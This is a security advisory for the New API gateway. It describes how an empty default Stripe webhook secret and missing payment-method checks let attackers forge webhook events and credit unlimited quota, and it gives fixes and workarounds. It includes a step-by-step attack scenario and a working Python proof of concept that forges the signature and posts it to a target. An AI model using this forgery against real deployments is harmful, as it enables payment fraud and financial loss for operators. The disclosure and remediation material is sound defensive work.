New API: Stripe Webhook Signature Bypass via Empty Secret Enables Unlimited Quota Fraud

Summary

A critical vulnerability exists in the Stripe webhook handler that allows an unauthenticated attacker to forge webhook events and credit arbitrary quota to their account without making any payment. The vulnerability stems from three compounding flaws:

1. The Stripe webhook endpoint does not reject requests when StripeWebhookSecret is empty (the default).
2. When the HMAC secret is empty, any attacker can compute valid webhook signatures, effectively bypassing signature verification entirely.
3. The Recharge function does not validate that the order's PaymentMethod matches the callback source, enabling cross-gateway exploitation — an order created via any payment method (e.g., Epay) can be fulfilled through a forged Stripe webhook.

Affected Components

• controller/topup_stripe.go — StripeWebhook(), sessionCompleted()
• model/topup.go — Recharge(), RechargeCreem(), RechargeWaffo()
• controller/topup.go — EpayNotify()
• controller/topup_creem.go — CreemAdaptor.RequestPay() (missing PaymentMethod field)
• router/api-router.go — webhook route registered without any guard

CWE Classification

• CWE-345: Insufficient Verification of Data Authenticity
• CWE-1188: Initialization with an Insecure Default (empty webhook secret)
• CWE-863: Incorrect Authorization (cross-gateway order fulfillment)

Vulnerability Details

Flaw 1: Empty Webhook Secret Bypasses Signature Verification

The StripeWebhookSecret setting defaults to an empty string "". The Stripe Go SDK (webhook.ConstructEventWithOptions) does not reject empty secrets — it computes HMAC-SHA256 with an empty key, producing a deterministic and publicly computable signature.

Vulnerable code (controller/topup_stripe.go):

func StripeWebhook(c *gin.Context) {
    // No check for empty StripeWebhookSecret
    payload, _ := io.ReadAll(c.Request.Body)
    signature := c.GetHeader("Stripe-Signature")
    endpointSecret := setting.StripeWebhookSecret // defaults to ""
    event, err := webhook.ConstructEventWithOptions(payload, signature, endpointSecret, ...)
    // When secret is "", attacker can compute valid HMAC with the same empty key
}

The webhook route is unconditionally registered with no authentication middleware and no rate limiting:

apiRouter.POST("/stripe/webhook", controller.StripeWebhook)

Flaw 2: Missing payment_status Verification

The sessionCompleted handler only checks status == "complete" but does not verify payment_status == "paid". Stripe's checkout.session.completed event can fire with payment_status = "unpaid" for delayed payment methods (bank transfer, SEPA, Boleto, etc.) or payment_status = "no_payment_required" for 100% discount coupons.

Additionally, checkout.session.async_payment_succeeded and checkout.session.async_payment_failed events are not handled, so delayed payments that ultimately fail are never rolled back.

Flaw 3: Cross-Gateway Order Fulfillment (No PaymentMethod Validation)

The model.Recharge() function (called by the Stripe webhook) looks up orders solely by trade_no and does not validate that the order's PaymentMethod is "stripe":

func Recharge(referenceId string, customerId string) (err error) {
    // Finds ANY pending order by trade_no, regardless of PaymentMethod
    tx.Where("trade_no = ?", referenceId).First(topUp)
    if topUp.Status != "pending" { return }
    // Credits quota without checking topUp.PaymentMethod
    quota = topUp.Money * QuotaPerUnit
    tx.Model(&User{}).Update("quota", gorm.Expr("quota + ?", quota))
}

This allows an attacker to create orders through any configured payment gateway (Epay, Creem, Waffo) and then complete them via a forged Stripe webhook — even if Stripe itself was never configured.

Attack Scenario

Prerequisites: Any payment method is configured (e.g., Epay) + StripeWebhookSecret is empty (default).

1. Attacker registers a user account.
2. Attacker calls POST /api/user/pay to create an Epay top-up order (e.g., amount=10000). The order is stored with status=pending.
3. Attacker queries GET /api/user/topup/self to retrieve the trade_no of the pending order.
4. Attacker computes HMAC-SHA256 with an empty key over a crafted checkout.session.completed payload containing the stolen trade_no as client_reference_id.
5. Attacker sends POST /api/stripe/webhook with the forged payload and signature header.
6. The server verifies the signature (passes because the secret is empty), calls Recharge(), which finds the Epay order by trade_no, marks it as success, and credits the full quota.
7. Attacker repeats steps 2–6 indefinitely for unlimited credits.

Proof of concept (pseudocode):

import hmac, hashlib, time, json, requests

timestamp = int(time.time())
payload = json.dumps({
    "type": "checkout.session.completed",
    "data": {
        "object": {
            "client_reference_id": "<trade_no from step 3>",
            "status": "complete",
            "payment_status": "paid",
            "customer": "cus_fake",
            "amount_total": "0",
            "currency": "usd"
        }
    }
})
# Empty secret = publicly computable signature
sig = hmac.new(b"", f"{timestamp}.{payload}".encode(), hashlib.sha256).hexdigest()
header = f"t={timestamp},v1={sig}"

requests.post("https://target/api/stripe/webhook",
    data=payload,
    headers={"Stripe-Signature": header, "Content-Type": "application/json"})

Remediation

Fix 1: Reject webhooks when secret is empty

func StripeWebhook(c *gin.Context) {
    if setting.StripeWebhookSecret == "" {
        c.AbortWithStatus(http.StatusForbidden)
        return
    }
    // ... existing logic
}

Fix 2: Verify payment_status and handle async payment events

func sessionCompleted(event stripe.Event) {
    // ... existing status check ...
    paymentStatus := event.GetObjectValue("payment_status")
    if paymentStatus != "paid" {
        return // Wait for async_payment_succeeded event
    }
    fulfillOrder(event, referenceId, customerId)
}

Add handlers for checkout.session.async_payment_succeeded and checkout.session.async_payment_failed.

Fix 3: Validate PaymentMethod in all recharge functions

// In model.Recharge (Stripe):
if topUp.PaymentMethod != "stripe" {
    return ErrPaymentMethodMismatch
}

// In model.RechargeCreem:
if topUp.PaymentMethod != "creem" {
    return ErrPaymentMethodMismatch
}

// In model.RechargeWaffo:
if topUp.PaymentMethod != "waffo" {
    return ErrPaymentMethodMismatch
}

// In controller.EpayNotify:
if topUp.PaymentMethod == "stripe" || topUp.PaymentMethod == "creem" || topUp.PaymentMethod == "waffo" {
    return // reject cross-gateway fulfillment
}

Additional fix: Set PaymentMethod on Creem order creation

The Creem order creation was missing the PaymentMethod field entirely:

topUp := &model.TopUp{
    // ...
    PaymentMethod: "creem", // was missing
}

Patched Versions

• v0.12.10 — includes all three fixes described above.

All users are strongly encouraged to upgrade immediately.

Workaround (for users unable to upgrade immediately)

If users cannot upgrade to v0.12.10 right away, apply all of the following mitigations:

1. Set StripeWebhookSecret to any non-empty value. Go to the admin panel → Payment → Stripe, and set the Webhook Signing Secret to any random string (e.g., whsec_placeholder_do_not_leave_empty). It does not need to be a real Stripe secret — any non-empty value will prevent the empty-key HMAC forgery. This is the single most important step — it closes the primary attack vector. If Stripe payments are used in production, replace with the real secret from the project's Stripe Dashboard → Webhooks to ensure legitimate webhooks continue to work.

2. If Stripe is not in use, block the webhook endpoint. If users have not configured Stripe payments, use a reverse proxy (Nginx, Caddy, etc.) to deny access to /api/stripe/webhook:
   nginx location = /api/stripe/webhook { return 403; }

> Note: The workaround only mitigates Flaw 1 (empty secret bypass). Flaws 2 (missing payment_status check) and 3 (cross-gateway fulfillment) are only fully addressed in v0.12.10. Upgrading is the only complete fix.

Impact

• Financial fraud: Attacker obtains unlimited API quota without payment.
• Operator financial loss: Fraudulent quota is consumed against upstream AI providers (OpenAI, Anthropic, Google, etc.), charged to the operator.
• Silent exploitation: Fraudulent top-ups appear as normal successful transactions in system logs, making detection difficult.
• Wide exposure: The default insecure configuration means virtually all deployments with any payment method enabled are vulnerable.

Timeline

• 2025-04-15: Vulnerability reported by @ChangeYu0229
• 2025-04-15: Vulnerability confirmed and root cause analysis completed
• 2025-04-15: Fix developed and applied
• 2025-04-15: Patched in v0.12.10

Resources

• Stripe Webhook Signature Verification Docs
• Stripe Checkout Fulfillment Guide — Handle async payment methods
• CWE-345: Insufficient Verification of Data Authenticity
• CWE-1188: Initialization with an Insecure Default